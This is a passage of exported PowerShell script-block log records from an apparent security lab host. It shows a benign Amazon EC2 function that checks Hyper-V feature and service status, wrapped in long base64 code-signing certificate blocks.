# SW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjEwggEiMA0GCSqG
# SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDC5mGEZ8WK9Q0IpEXKY2tR1zoRQr0KdXVN
# lLQMULUmEP4dyG+RawyW5xpcSO9E5b+bYc0VkWJauP9nC5xj/TZqgfop+N0rcIXe
# AhjzeG28ffnHbQk9vmp2h+mKvfiEXR52yeTGdnY6U9HR01o2j8aj4S8bOrdh1nPs
# Tm0zinxdRS1LsVDmQTo3VobckyON91Al6GTm3dOPL1e1hyDrDo4s1SPa9E14RuMD
# gzEpSlwMMYpKjIjF9zBa+RSvFV9sQ0kJ/SYjU/aNY+gaq1uxHTDCm2mCtNv8VlS8
# H6GHq756WwogL0sJyZWnjbL61mOLTqVyHO6fegFz+BnW/g1JhL0BAgMBAAGjggG4
# MIIBtDAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAK
# BggrBgEFBQcDCDBBBgNVHSAEOjA4MDYGCWCGSAGG/WwHATApMCcGCCsGAQUFBwIB
# FhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHwYDVR0jBBgwFoAU9LbhIB3+
# Ka7S5GGlsqIlssgXNW4wHQYDVR0OBBYEFDZEho6kurBmvrwoLR1ENt3janq8MHEG
# A1UdHwRqMGgwMqAwoC6GLGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWFz
# c3VyZWQtdHMuY3JsMDKgMKAuhixodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hh
# Mi1hc3N1cmVkLXRzLmNybDCBhQYIKwYBBQUHAQEEeTB3MCQGCCsGAQUFBzABhhho
# dHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jYWNl
# cnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJBc3N1cmVkSURUaW1lc3RhbXBp
# bmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggEBAEgc3LXpmiO85xrnIA6OZ0b9QnJR
# dAojR6OrktIlxHBZvhSg5SeBpU0UFRkHefDRBMOG2Tu9/kQCZk3taaQP9rhwz2Lo
# 9VFKeHk2eie38+dSn5On7UOee+e03UEiifuHokYDTvz0/rdkd2NfI1Jpg4L6GlPt
# kMyNoRdzDfTzZTlwS/Oc1np72gy8PTLQG8v1Yfx1CAB2vIEO+MDhXM/EEXLnG2RJ
# 2CKadRVC9S0yOIHa9GCiurRS+1zgYSQlT7LfySmoc0NR2r1j1h9bm/cuG08THfdK
# DXF+l7f0P4TrweOjSaH6zqe/Vs+6WXZhiV9+p7SOZ3j5NpjhyyjaW4emii8wggUx
# MIIEGaADAgECAhAKoSXW1jIbfkHkBdo2l8IVMA0GCSqGSIb3DQEBCwUAMGUxCzAJ
# BgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
# aWdpY2VydC5jb20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBD
# QTAeFw0xNjAxMDcxMjAwMDBaFw0zMTAxMDcxMjAwMDBaMHIxCzAJBgNVBAYTAlVT
# MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
# b20xMTAvBgNVBAMTKERpZ2lDZXJ0IFNIQTIgQXNzdXJlZCBJRCBUaW1lc3RhbXBp
# bmcgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC90DLuS82Pf92p
# uoKZxTlUKFe2I0rEDgdFM1EQfdD5fU1ofue2oPSNs4jkl79jIZCYvxO8V9PD4X4I
# 1moUADj3Lh477sym9jJZ/l9lP+Cb6+NGRwYaVX4LJ37AovWg4N4iPw7/fpX786O6
# Ij4YrBHk8JkDbTuFfAnT7l3ImgtU46gJcWvgzyIQD3XPcXJOCq3fQDpct1HhoXkU
# xk0kIzBdvOw8YGqsLwfM/fDqR9mIUF79Zm5WYScpiYRR5oLnRlD9lCosp+R1PrqY
# D4R/nzEU1q3V8mTLex4F0IQZchfxFwbvPc3WTe8GQv2iUypPhR3EHTyvz9qsEPXd
# rKzpVv+TAgMBAAGjggHOMIIByjAdBgNVHQ4EFgQU9LbhIB3+Ka7S5GGlsqIlssgX
# NW4wHwYDVR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wEgYDVR0TAQH/BAgw
# BgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgweQYI
# KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j
# b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp
# Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwgYEGA1UdHwR6MHgwOqA4oDaGNGh0dHA6
# Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJRFJvb3RDQS5jcmww
# OqA4oDaGNGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJ
# RFJvb3RDQS5jcmwwUAYDVR0gBEkwRzA4BgpghkgBhv1sAAIEMCowKAYIKwYBBQUH
# AgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAcBMA0G
# CSqGSIb3DQEBCwUAA4IBAQBxlRLpUYdWac3v3dp8qmN6s3jPBjdAhO9LhL/KzwMC
# /cWnww4gQiyvd/MrHwwhWiq3BTQdaq6Z+CeiZr8JqmDfdqQ6kw/4stHYfBli6F6C
# JR7Euhx7LCHi1lssFDVDBGiy23UC4HLHmNY8ZOUfSBAYX4k4YU1iRiSHY4yRUiyv
# KYnleB/WCxSlgNcSR3CzddWThZN+tpJn+1Nhiaj1a5bA9FhpDXzIAbG5KHW3mWOF
# IoxhynmUfln8jA/jb7UBJrZspe6HUSHkWGCbugwtK22ixH67xCUrRwIIfEmuE7bh
# fEJCKMYYVs9BNLZmXbZ0e/VWMyIvIjayS6JKldj1po5SMYIChjCCAoICAQEwgYYw
# cjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQ
# d3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVk
# IElEIFRpbWVzdGFtcGluZyBDQQIQDUJK4L46iP9gQCHOFADw3TANBglghkgBZQME
# AgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcNAQkF
# MQ8XDTIyMDEzMTE4NTAxNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQU4deCqOGR
# vu9ryhaRtaq0lKYkm/MwLwYJKoZIhvcNAQkEMSIEIHVU9Tp5WiHa4lf1x+NncuGn
# KGaY7f4dShZtz3YOFrFtMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEILMQkAa8CtmD
# B5FXKeBEA0Fcg+MpK2FPJpZMjTVx7PWpMA0GCSqGSIb3DQEBAQUABIIBACyabBW3
# PWgwEia4yrgSTyu+k2emUA6WPcT8ON6H6je2L31xSd+cx9F75ap3AGnM92VYkVPm
# lspoT4EAYF9zxhDNPrgUI/Iey/kBOhFQoFI8FK6nIlFBxWrpUu9n62vXXdLMZfL9
# gCpCGN63luDHYMQsyDNo6OS/47HT/I248JA9QIJT/k/cwEN+NXQcZyCNKx4nzRdG
# 6PneEUogwkmDqIZuBAW7yPXD5BZsAgUKInIuGQfjj4ZoZEU1e1C1DyhyPmA8YOIk
# d2Sy+DYdLrWAPMx+jRkjkiOdv/U5e3XM0/jKBxPxjpBzZFMMq3+Sh78p54+0JZSK
# HFQ/8DlNhx2lScs=
# SIG # End signature block",,,,,,,,,,,"'2022-05-02T13:04:09.861779900Z'","4104152150x0120611Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5744'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104152150x0120611Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Amazon Software License (the ""License"").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/asl/
#
# or in the ""license"" file accompanying this file. This file is distributed
# on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
# express or implied. See the License for the specific language governing
# permissions and limitations under the License.
<#-----------------------------------------------------------------------------------------------------------
Send-FeatureStatus sends feature installation and corresponding service status to the console.
-------------------------------------------------------------------------------------------------------------#>
function Send-FeatureStatus
{
Set-Variable -Name INSTALL_STATE_ENABLED -Value 1 -Option Constant
try
{
$windowsFeatures = @(@{ FeatureName = ""Microsoft-Hyper-V""; InstalledServiceName = ""vmms"" })
$featureName = """"
foreach ($feature in $windowsFeatures)
{
$featureName = $feature.FeatureName
$featureInfo = Get-WmiObject -Query ""select * from Win32_OptionalFeature where name = '$featureName'"" -ErrorAction ""SilentlyContinue""
if ($featureInfo.InstallState -eq $INSTALL_STATE_ENABLED)
{
Write-Log (""{0} feature is installed."" -f $feature.FeatureName) -LogToConsole
$srvStatus = (Get-Service -Name $feature.InstalledServiceName -ErrorAction ""SilentlyContinue"").Status
if ($srvStatus)
{
Write-Log (""{0} service ({1}) is {2}."" -f $feature.FeatureName,$feature.InstalledServiceName,$srvStatus) -LogToConsole
}
else
{
Write-Log (""Unable to get service status for {0}."" -f $feature.InstalledServiceName) -LogToConsole
}
}
}
}
catch
{
Write-ErrorLog (""Failed to get info for feature {0}."" -f $featureName) -LogToConsole
}
}
# SIG # Begin signature block
# MIIfJwYJKoZIhvcNAQcCoIIfGDCCHxQCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDjgh6VOIxwaedw
# KSMGByf3horHspStpxBFDJoAggHCkqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc
# TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z
# NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
# ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0
# JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr
# Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF
# LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F
# LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh
# 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ
# wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay
# g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI
# YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp
# QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro
# OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB
# WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+
# YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P
# AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk
# BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC
# hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v
# dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED
# MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql
# +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF
# UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h
# mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw
# YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld
# AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw
# 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP
# LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE
# QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn
# KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji
# WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq
# yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G
# CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz
# MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr
# BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV
# BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw
# DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ
# bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl
# cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ
# u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W
# JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU
# faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J
# A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s
# 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF
# i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0
# IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA
# DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB
# AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV
# HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI
# A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud
# JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz
# LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5
# NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx
# Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6
# Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB
# BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0
# cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp
# Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq
# hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ
# 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd
# 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk
# S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH
# eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5
# vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR
# LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW
# /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O
# gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy
# +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M
# QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx
# ghAoMIIQJAIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI
# AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB
# BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B
# CQQxIgQgdzexdzMYkIEm1UNG5CBUDR+9l+/zYPwjBjbdh+TcAiwwDQYJKoZIhvcN
# AQEBBQAEggGAamkrbtyEpbGtedUQ4h9zNshy8dl3eBQLV1lEquhSpeKpVeUWgy+x
# aS1xtW19R0wNPEIrdLzcj2zaraZs2KdshXkkYSOEUqZyF2899cKNakxKreZq2KFR
# UFCLL8ZuClPoHNyA3Xx9weBywZV8U0Jke5siL6n8+A8epsZolSqzhtmLPE3JGydI
# zAacvomCFjYnVoICyZ6cddF9jUgRb5fvoSK48oRIklCg7gi4OFutWeexaM9gpvkO
# 4KSe1Y54VlC09nNDnaEiBcM/Kc+ovLjmjlLKAoRzg6nR9ZfMG5DOc6HPWLGHGtmR
# bN47jjcRaa0YQ4lgnoaBfmAJR2pH8+6V36WHgdx6uLwHfq6RjO9yEgbJyRyhexyc
# XLq36kjV+7EyxfLBuRziT6rWtC7I3SRgKKuTXnssLvKrf0U+Vl8UPfzlVFL/7Rbq
# j9KuJiF/i+Svy6wZSs0wkxL84b3ao5P85uKt6tg3f5OnUuIHeh1EWhbRAQdoejju
# lxidc1l7AiJWoYINfjCCDXoGCisGAQQBgjcDAwExgg1qMIINZgYJKoZIhvcNAQcC
# oIINVzCCDVMCAQMxDzANBglghkgBZQMEAgEFADB4BgsqhkiG9w0BCRABBKBpBGcw
# ZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIImknLNJTzcLYfbfC6Hi
# E52ohUzjg2RgunUs6M3oNU6OAhEAkaOiVVT9285Q5kFvwph/oxgPMjAyMjAxMzEx
# ODUwMTVaoIIKNzCCBP4wggPmoAMCAQICEA1CSuC+Ooj/YEAhzhQA8N0wDQYJKoZI
# hvcNAQELBQAwcjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
# MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hB
# MiBBc3N1cmVkIElEIFRpbWVzdGFtcGluZyBDQTAeFw0yMTAxMDEwMDAwMDBaFw0z
# MTAxMDYwMDAwMDBaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjEwggEiMA0GCSqG
# SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDC5mGEZ8WK9Q0IpEXKY2tR1zoRQr0KdXVN
# lLQMULUmEP4dyG+RawyW5xpcSO9E5b+bYc0VkWJauP9nC5xj/TZqgfop+N0rcIXe
# AhjzeG28ffnHbQk9vmp2h+mKvfiEXR52yeTGdnY6U9HR01o2j8aj4S8bOrdh1nPs
# Tm0zinxdRS1LsVDmQTo3VobckyON91Al6GTm3dOPL1e1hyDrDo4s1SPa9E14RuMD
# gzEpSlwMMYpKjIjF9zBa+RSvFV9sQ0kJ/SYjU/aNY+gaq1uxHTDCm2mCtNv8VlS8
# H6GHq756WwogL0sJyZWnjbL61mOLTqVyHO6fegFz+BnW/g1JhL0BAgMBAAGjggG4
# MIIBtDAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAK
# BggrBgEFBQcDCDBBBgNVHSAEOjA4MDYGCWCGSAGG/WwHATApMCcGCCsGAQUFBwIB
# FhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHwYDVR0jBBgwFoAU9LbhIB3+
# Ka7S5GGlsqIlssgXNW4wHQYDVR0OBBYEFDZEho6kurBmvrwoLR1ENt3janq8MHEG
# A1UdHwRqMGgwMqAwoC6GLGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWFz
# c3VyZWQtdHMuY3JsMDKgMKAuhixodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hh
# Mi1hc3N1cmVkLXRzLmNybDCBhQYIKwYBBQUHAQEEeTB3MCQGCCsGAQUFBzABhhho
# dHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jYWNl
# cnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJBc3N1cmVkSURUaW1lc3RhbXBp
# bmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggEBAEgc3LXpmiO85xrnIA6OZ0b9QnJR
# dAojR6OrktIlxHBZvhSg5SeBpU0UFRkHefDRBMOG2Tu9/kQCZk3taaQP9rhwz2Lo
# 9VFKeHk2eie38+dSn5On7UOee+e03UEiifuHokYDTvz0/rdkd2NfI1Jpg4L6GlPt
# kMyNoRdzDfTzZTlwS/Oc1np72gy8PTLQG8v1Yfx1CAB2vIEO+MDhXM/EEXLnG2RJ
# 2CKadRVC9S0yOIHa9GCiurRS+1zgYSQlT7LfySmoc0NR2r1j1h9bm/cuG08THfdK
# DXF+l7f0P4TrweOjSaH6zqe/Vs+6WXZhiV9+p7SOZ3j5NpjhyyjaW4emii8wggUx
# MIIEGaADAgECAhAKoSXW1jIbfkHkBdo2l8IVMA0GCSqGSIb3DQEBCwUAMGUxCzAJ
# BgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
# aWdpY2VydC5jb20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBD
# QTAeFw0xNjAxMDcxMjAwMDBaFw0zMTAxMDcxMjAwMDBaMHIxCzAJBgNVBAYTAlVT
# MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
# b20xMTAvBgNVBAMTKERpZ2lDZXJ0IFNIQTIgQXNzdXJlZCBJRCBUaW1lc3RhbXBp
# bmcgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC90DLuS82Pf92p
# uoKZxTlUKFe2I0rEDgdFM1EQfdD5fU1ofue2oPSNs4jkl79jIZCYvxO8V9PD4X4I
# 1moUADj3Lh477sym9jJZ/l9lP+Cb6+NGRwYaVX4LJ37AovWg4N4iPw7/fpX786O6
# Ij4YrBHk8JkDbTuFfAnT7l3ImgtU46gJcWvgzyIQD3XPcXJOCq3fQDpct1HhoXkU
# xk0kIzBdvOw8YGqsLwfM/fDqR9mIUF79Zm5WYScpiYRR5oLnRlD9lCosp+R1PrqY
# D4R/nzEU1q3V8mTLex4F0IQZchfxFwbvPc3WTe8GQv2iUypPhR3EHTyvz9qsEPXd
# rKzpVv+TAgMBAAGjggHOMIIByjAdBgNVHQ4EFgQU9LbhIB3+Ka7S5GGlsqIlssgX
# NW4wHwYDVR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wEgYDVR0TAQH/BAgw
# BgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgweQYI
# KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j
# b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp
# Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwgYEGA1UdHwR6MHgwOqA4oDaGNGh0dHA6
# Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJRFJvb3RDQS5jcmww
# OqA4oDaGNGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJ
# RFJvb3RDQS5jcmwwUAYDVR0gBEkwRzA4BgpghkgBhv1sAAIEMCowKAYIKwYBBQUH
# AgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAcBMA0G
# CSqGSIb3DQEBCwUAA4IBAQBxlRLpUYdWac3v3dp8qmN6s3jPBjdAhO9LhL/KzwMC
# /cWnww4gQiyvd/MrHwwhWiq3BTQdaq6Z+CeiZr8JqmDfdqQ6kw/4stHYfBli6F6C
# JR7Euhx7LCHi1lssFDVDBGiy23UC4HLHmNY8ZOUfSBAYX4k4YU1iRiSHY4yRUiyv
# KYnleB/WCxSlgNcSR3CzddWThZN+tpJn+1Nhiaj1a5bA9FhpDXzIAbG5KHW3mWOF
# IoxhynmUfln8jA/jb7UBJrZspe6HUSHkWGCbugwtK22ixH67xCUrRwIIfEmuE7bh
# fEJCKMYYVs9BNLZmXbZ0e/VWMyIvIjayS6JKldj1po5SMYIChjCCAoICAQEwgYYw
# cjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQ
